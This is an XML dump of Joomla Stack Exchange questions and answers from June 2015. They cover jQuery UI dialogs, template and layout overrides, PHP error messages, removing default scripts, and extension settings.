  <row Id="10526" PostTypeId="1" AcceptedAnswerId="10528" CreationDate="2015-06-23T06:08:35.790" Score="1" ViewCount="1393" Body="&lt;p&gt;Here I'm trying to show a jquery dialog box with three buttons after clicking delete button from Joomla admin side component.Using core Joomla Template only.But the dialog box is not showing.Tried with the simple dialog box.That too not displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework'); // load jquery&#xA;JHtml::_('jquery.ui'); // load jquery ui from Joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;script code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    Joomla.submitbutton = function(task){&#xA;    if (task == 'groups.cascadedelete') {&#xA;           jQuery('&amp;lt;p&amp;gt;Are you sure?&amp;lt;/p&amp;gt;').dialog({&#xA;                buttons: {&#xA;                     &quot;Cascade Delete&quot;: function() {          &#xA;                        jQuery('#cascadedelete').val('1');   &#xA;                        Joomla.submitform(task, document.getElementById('adminForm'));&#xA;                        },&#xA;                    &quot;Delete&quot;:  function() {&#xA;                        Joomla.submitform(task, document.getElementById('adminForm'));&#xA;                        },&#xA;                    &quot;Cancel&quot;:  function() {&#xA;                        dialog.dialog('close');&#xA;                    }&#xA;                }&#xA;            });&#xA;    }else{&#xA;        Joomla.submitform(task, document.getElementById('adminForm'));&#xA;    }   &#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i click the button for submit, the popup is not display.I checked the console in mozilla and its says as below,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: jQuery(...).dialog is not a function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2240" LastActivityDate="2015-06-27T04:39:42.060" Title="Jquery dialog box is not working in Joomla 3" Tags="|joomla-3.x|jquery|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10527" PostTypeId="1" CreationDate="2015-06-23T06:23:39.763" Score="0" ViewCount="135" Body="&lt;p&gt;there is an article (quite old) that is always on top, even after changing the ordering option to newest first. I did the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Global Configuration -&gt; Articles -&gt; Shared Options&#xA;Article Order (Newest First), Date for Ordering (Published)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Blog/Featured Layout -&gt; #leading articles (1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Article options (for the older article) - I checked that it was not a featured article and the options were the same as per the other articles, all set to Use Global.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Larry&lt;/p&gt;&#xA;" OwnerUserId="5462" LastActivityDate="2015-06-23T06:23:39.763" Title="Reordering articles in blog category" Tags="|joomla-3.4|article-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10528" PostTypeId="2" ParentId="10526" CreationDate="2015-06-23T07:00:34.233" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtmlJquery.html#method_ui&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JHtml::_('jquery.ui');&lt;/code&gt;&lt;/a&gt; will load only the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/media/jui/js/jquery.ui.core.js&quot; rel=&quot;nofollow&quot;&gt;core component&lt;/a&gt;. Dialog doesn't seem to be part of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can specify which components it should load. However the only other supported component is &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/media/jui/js/jquery.ui.sortable.js&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sortable&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means, &lt;code&gt;dialog&lt;/code&gt; just isn't shipped with Joomla. You need to distribute and load your own copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, you should have a look at the tooltips, popover and modals from Bootstrap 2.3. Those are shipped with Joomla and can be used for similar purposes.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-23T07:00:34.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10529" PostTypeId="2" ParentId="10513" CreationDate="2015-06-23T07:29:01.940" Score="1" Body="&lt;p&gt;Solved... It was my simple fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In view I had&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listDirn = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listDirn = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;$listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where direction was ordering column and column was direction (wrong parameters in get())&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-06-23T07:29:01.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10530" PostTypeId="2" ParentId="10518" CreationDate="2015-06-23T07:41:28.213" Score="1" Body="&lt;p&gt;As there is no built-in API for this, you will have to write your own code. A good place to start is to look here in your Joomla installation:&lt;br/&gt;&lt;br/&gt;&#xA;   administrator/components/com_k2/models/item.php&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file is the K2ModelItem and has the functions used to create and save a K2 item into Joomla DB.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function save($front = false)&#xA;{&#xA;&#xA;    $mainframe = JFactory::getApplication();&#xA;    jimport('joomla.filesystem.file');&#xA;    jimport('joomla.filesystem.folder');&#xA;    jimport('joomla.filesystem.archive');&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could build your own code based on this or (better) write a custom class that would extend K2ModelItem. &lt;br/&gt;&#xA;There are different options, it really depends on your project.&lt;/p&gt;&#xA;" OwnerUserId="5463" LastActivityDate="2015-06-23T07:41:28.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10531" PostTypeId="2" ParentId="10526" CreationDate="2015-06-23T07:43:44.513" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also Check if Jquery Ui Script is loaded properly or not&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (task == 'groups.cascadedelete') {&#xA;           jQuery('&amp;lt;p&amp;gt;Are you sure?&amp;lt;/p&amp;gt;').dialog({&#xA;           autoOpen : true,width : popWidth,modal : true,dialogClass: 'no-close',&#xA;            draggable: true, resizable: true, position: [306,105],&#xA;            buttons : {&#xA;&#xA;&#xA;    &quot;Cancel&quot;:  function() &#xA;    {&#xA;    $(this).remove();&#xA;    or&#xA;    $(this).dialog(&quot;close&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-23T07:43:44.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10532" PostTypeId="1" AcceptedAnswerId="10533" CreationDate="2015-06-23T07:58:12.320" Score="1" ViewCount="889" Body="&lt;p&gt;Using the mod_articles_categories module. I am writing an override but want to add a class to each li within foreach().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($list as $item) : ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I add a class to the li?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-06-23T09:16:55.607" Title="Add a different class to each foreach item" Tags="|php|module|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10533" PostTypeId="2" ParentId="10532" CreationDate="2015-06-23T08:08:18.233" Score="3" Body="&lt;p&gt;If you have numbered classes, (someclass_0, someclass_1 etc) you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($list as $key =&amp;gt;$item) : ?&amp;gt;&#xA;    &amp;lt;li class=&quot;someclass_&amp;lt;?php echo $key  ?&amp;gt;&quot;&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5463" LastEditorUserId="168" LastEditDate="2015-06-23T09:15:11.210" LastActivityDate="2015-06-23T09:15:11.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10534" PostTypeId="2" ParentId="10532" CreationDate="2015-06-23T09:16:55.607" Score="1" Body="&lt;p&gt;&lt;strong&gt;Try this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;foreach ($list as $item=&amp;gt;$key) : ?&amp;gt;&#xA;&amp;lt;li class=&quot;sample_&amp;lt;?php echo $key; ?&amp;gt;&quot;&amp;gt; &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php end foreach ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-23T09:16:55.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10535" PostTypeId="1" CreationDate="2015-06-23T09:21:18.277" Score="0" ViewCount="500" Body="&lt;p&gt;Implemented &lt;a href=&quot;http://www.joomlapolis.com/community-builder&quot; rel=&quot;nofollow&quot;&gt;Community Builder&lt;/a&gt; extension on client's website &lt;a href=&quot;http://www.tnssecurities.in/&quot; rel=&quot;nofollow&quot;&gt;tnssecurities.in&lt;/a&gt;. While Login form showing, Register button not showing. Tried to post this problem on their forum but came to know forum membership not free.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2019-12-22T14:02:48.067" Title="Community Builder's Register button not showing" Tags="|extensions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10536" PostTypeId="2" ParentId="10535" CreationDate="2015-06-23T09:34:57.577" Score="1" Body="&lt;p&gt;I think the problem is your module doesn't have registration button coding &lt;strong&gt;or&lt;/strong&gt; check your&#xA;backend -&gt; Extension manager -&gt; Module manager -&gt; Select your module and check if any options are available for show registration button in your site.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-23T09:34:57.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10537" PostTypeId="2" ParentId="10535" CreationDate="2015-06-23T09:58:18.410" Score="1" Body="&lt;p&gt;You need to use the Community Builder Login module.&#xA;In this module there are several tabs. In the tab Login Options, you need the setting Register Login Link. When it is set to Hide you will not see a link to register: set it to one of the other 3 values (Text, Icon, or Icon and text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The forum is free, you need to register first, and some parts of the forum are read only when you do not have a paid subscription.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2015-06-23T09:58:18.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10538" PostTypeId="1" AcceptedAnswerId="10539" CreationDate="2015-06-23T11:05:14.543" Score="5" ViewCount="2827" Body="&lt;p&gt;I want to add a class to the Read More link found in //components/com_content/views/category/tmpl/blog_item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the class to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;btn btn-primary readmore-link&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't find where to edit it.  The standard html output in the frontend is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;readmore&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;btn readmore-link&quot; href=&quot;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=23:re-leve&amp;amp;amp;catid=17&amp;amp;amp;Itemid=330&quot; title=&quot;TEST&quot;&amp;gt;Read more ...&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I need to edit the file with an override (putting it here):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//templates/TEMPLATE/html/com_content/category/blog_item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the only code it refers to within the file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.content.readmore', array('item' =&amp;gt; $this-&amp;gt;item, 'params' =&amp;gt; $params, 'link' =&amp;gt; $link)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas please?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2020-04-07T21:18:31.797" Title="Adding class to content 'Read More'" Tags="|joomla-3.4|template-override|com-content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10539" PostTypeId="2" ParentId="10538" CreationDate="2015-06-23T11:16:42.037" Score="9" Body="&lt;p&gt;&lt;code&gt;JLayoutHelper&lt;/code&gt; renders layouts originally  from &lt;code&gt;/layouts&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First parameter is basically path to file. Just replace &lt;code&gt;.&lt;/code&gt; with &lt;code&gt;/&lt;/code&gt; in your mind :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;readmore.php&lt;/code&gt; is located at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/layouts/joomla/content/readmore.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy it to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;templates/YOUR_TEMPLATE/html/layouts/joomla/content/readmore.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and edit it there.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-06-23T11:16:42.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10540" PostTypeId="1" CreationDate="2015-06-23T12:35:07.317" Score="0" ViewCount="425" Body="&lt;p&gt;I am receiving following error on loading www.jtsinstitute.com.&#xA;kindly help me with the issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    [23-Jun-2015 07:21:55 America/Chicago] PHP Strict Standards:  Only variables should be assigned by reference in /home/jtsinst/public_html/plugins/system/socialloginandsocialshare/socialloginandsocialshare.php on line 87&#xA;[23-Jun-2015 07:21:55 America/Chicago] PHP Strict Standards:  Only variables should be assigned by reference in /home/jtsinst/public_html/plugins/system/socialloginandsocialshare/socialloginandsocialshare.php on line 91&#xA;[23-Jun-2015 07:21:55 America/Chicago] PHP Strict Standards:  Only variables should be assigned by reference in /home/jtsinst/public_html/plugins/system/socialloginandsocialshare/socialloginandsocialshare.php on line 93&#xA;[23-Jun-2015 07:21:55 America/Chicago] PHP Strict Standards:  Declaration of JParameter::loadSetupFile() should be compatible with JRegistry::loadSetupFile() in /home/jtsinst/public_html/libraries/joomla/html/parameter.php on line 512&#xA;[23-Jun-2015 07:21:55 America/Chicago] PHP Fatal error:  Call to a member function registerEvent() on a non-object in /home/jtsinst/public_html/plugins/content/module/module.php on line 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5465" LastActivityDate="2015-08-23T20:00:38.647" Title="Website loading Blank page using joomla 2.5" Tags="|joomla-2.5|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10541" PostTypeId="2" ParentId="10540" CreationDate="2015-06-23T12:41:23.100" Score="0" Body="&lt;p&gt;&lt;strong&gt;Try this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you disable the plugins/system/socialloginandsocialshare plugin and check it your site.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-23T12:41:23.100" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10542" PostTypeId="1" AcceptedAnswerId="16806" CreationDate="2015-06-23T12:57:11.830" Score="1" ViewCount="539" Body="&lt;p&gt;I want to associate the k2 items in my website. I have been reading around on articles and forum saying that is possible and some others the opposite.&#xA;So is there a way to associate my k2 items in the front end, just like joomla articles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="5466" LastActivityDate="2016-07-09T05:50:02.320" Title="K2 item association" Tags="|joomla-3.x|k2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10543" PostTypeId="2" ParentId="10540" CreationDate="2015-06-23T13:07:59.747" Score="1" Body="&lt;p&gt;Strict errors are &lt;em&gt;not&lt;/em&gt; a major issue. I'd simply suggest your turn them off in your &lt;em&gt;php.ini&lt;/em&gt; file. In this file, you should see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting = E_ALL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you should replace with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting = E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Due to the blank page, I'd recommend setting error reporting in your Joomla Global Configuration to &lt;code&gt;development&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-06-24T07:22:54.693" LastActivityDate="2015-06-24T07:22:54.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10544" PostTypeId="1" CreationDate="2015-06-23T14:08:44.387" Score="1" ViewCount="61" Body="&lt;p&gt;We are having a problem with passfaster.org, a driving instructor web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every so often, various link stops working when clicked on from the home page. To resolve this, I have cleared the site cache, checked in all items and purge the expired cache. It could be that just one of these fixes the problem, I haven't had a chance to dig deeper yet as I have to wait for it to stop working before I can try something new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When clicked on, instead of taking you to the correct page of the site visitors are taken to www.passfaster.org/index.php?width=1280&amp;amp;height=800 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this stops working every so often?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2015-08-22T16:41:38.473" Title="Random Broken Links" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10545" PostTypeId="2" ParentId="10544" CreationDate="2015-06-23T15:52:57.837" Score="1" Body="&lt;p&gt;Its not the cache issue, rather a small javascript code in your page is redirecting it to the above mentioned url. Here is the code that is causing the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;window.location = &quot;/index.php?width=&quot;+screen.width+&quot;&amp;amp;height=&quot;+screen.height;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-06-23T15:52:57.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10547" PostTypeId="2" ParentId="10540" CreationDate="2015-06-23T16:53:07.520" Score="1" Body="&lt;p&gt;OK, first, forget the strict messages for a while, they're not causing the issue. There's a fatal at &quot;plugins/content/module/module.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's an interesting extension....I don't have it in my tree and it's been too long since I've used 2.5 so I'm not sure what it does, but if it's new in your system, there's always the chance it's not compatible with the version of PHP or Joomla you're using. Here's some suggestions, based on your knowledge level:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you're comfortable in PHP code, open that file and look at what it's doing on line 15. It might be doing something you can clearly see is wrong, and you can patch around it and continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Disable that module. You might be able to get away with simply renaming it or moving the entire module directory out of the plugins directory. If not you might need to go into the database table to disable it directly, if you can't get any other access to the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As PHP has moved on, it enabled strict checking by default. The purpose of this was to show you what you were doing wrong, and give you some advance notice that what you're doing may break in the future. This has caught a lot of sloppy programmers off-guard, and it generates a lot of warning messages from them. You can control that from inside the general configuration settings, if you need to turn them off. (Personally, I think ignoring strict warnings is a Bad Idea. I'd look around for replacement extensions that &lt;em&gt;don't&lt;/em&gt; throw warnings; maybe you'll be fine, but maybe the warning is an early indicator of something else that will fail soon as new versions of PHP ship, and finding replacements now will keep you from having to desperately search for them later, when it &lt;em&gt;actually&lt;/em&gt; breaks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The world is changing constantly, and PHP and other server software will change along with it. Not keeping up is a good way to ensure something will break.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-23T16:53:07.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10548" PostTypeId="2" ParentId="10364" CreationDate="2015-06-23T19:08:06.617" Score="5" Body="&lt;p&gt;The solution I went with was to add the parameter (id) to the view's default.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;mycomponent&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;mycomponent message&amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&quot;id&quot;&#xA;                    type=&quot;text&quot;&#xA;                    label=&quot;ID&quot;&#xA;                    description=&quot;The ID of the item as it appears in the url&quot;&#xA;                    default=&quot;1&quot;&#xA;                &amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way, I was able to create a menu item with an alias of 'sale', and select my component. Then I'd enter '3' in the id field, and /sale would render the same as if I had hit /mycomponent?id=3. &lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-06-23T19:08:06.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10549" PostTypeId="1" CreationDate="2015-06-23T23:57:43.193" Score="2" ViewCount="1325" Body="&lt;p&gt;I'm trying to prevent Joomla! 3.4.1 from loading certain default scripts in the front-end template when a custom component is displayed. I am excluding the scripts in the template index.php file as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($this-&amp;gt;_scripts[JURI::root(true).'/media/jui/js/bootstrap.min.js']);&#xA;unset($this-&amp;gt;_scripts[JURI::root(true).'/media/jui/js/jquery.min.js']);&#xA;unset($this-&amp;gt;_scripts[JURI::root(true).'/media/jui/js/jquery-noconflict.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Printing the contents of the $this-&gt;scripts array to the screen shows that it is empty on views generated by the component, but it has values and works as expected on all default Joomla! pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you stop scripts from loading within custom component screens in Joomla! 3.4.1?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditDate="2015-06-24T04:38:57.660" LastActivityDate="2015-06-24T05:28:38.147" Title="Stop Joomla! 3.4.1 from including scripts in custom component pages" Tags="|templates|javascript|jquery|bootstrap|jdocument|" AnswerCount="1" CommentCount="4" ClosedDate="2015-06-24T23:27:43.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="10550" PostTypeId="2" ParentId="10549" CreationDate="2015-06-24T05:28:38.147" Score="3" Body="&lt;p&gt;It is generally a component that overrides the template files as you discovered. I personally build my sites of Zurb Foundation 5 - so I'm always removing bootstrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would look at:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Overriding the component&lt;/strong&gt; and the code it generates - however this is usually a core file that will be overwritten when you upgrade the component&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Custom plugin&lt;/strong&gt; - see discussion here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/4953/how-can-i-completely-remove-bootstrap-from-the-frontend-of-joomla/9009#9009&quot;&gt;How can I completely remove Bootstrap from the frontend of Joomla?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;jcc-js-css-control plugin&lt;/strong&gt; (&lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/jcc-js-css-control&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomla-extensions.kubik-rubik.de/jcc-js-css-control&lt;/a&gt;) - which is the most reliable and simplest way I have found.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may also need to do preg_replace for some inline js/css in your template:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/9249/joomla-3-tooltips/9380#9380&quot;&gt;Joomla 3 - Tooltips&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-06-24T05:28:38.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10551" PostTypeId="2" ParentId="10509" CreationDate="2015-06-24T07:16:09.633" Score="1" Body="&lt;p&gt;You can easily add the advanced module options that allow alternative layouts, by creating an override of the modules .xml and adding the advanced fields options within the &lt;code&gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&lt;/code&gt; tags, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;advanced&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;layout&quot;&#xA;                type=&quot;modulelayout&quot;&#xA;                label=&quot;JFIELD_ALT_LAYOUT_LABEL&quot;&#xA;                description=&quot;JFIELD_ALT_MODULE_LAYOUT_DESC&quot; /&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;moduleclass_sfx&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;COM_MODULES_FIELD_MODULECLASS_SFX_LABEL&quot;&#xA;                description=&quot;COM_MODULES_FIELD_MODULECLASS_SFX_DESC&quot; /&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This adds the options for alternative layouts and custom module class suffix to the module settings, under the advanced tab, so you can select your alternative layout.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-24T07:16:09.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10552" PostTypeId="2" ParentId="10524" CreationDate="2015-06-24T07:24:22.933" Score="1" Body="&lt;p&gt;Just use the Articles Category module instead, as it provides a ton of options including child category article display: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkzCC.png&quot; alt=&quot;Articles Category category display settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-06-24T07:24:22.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
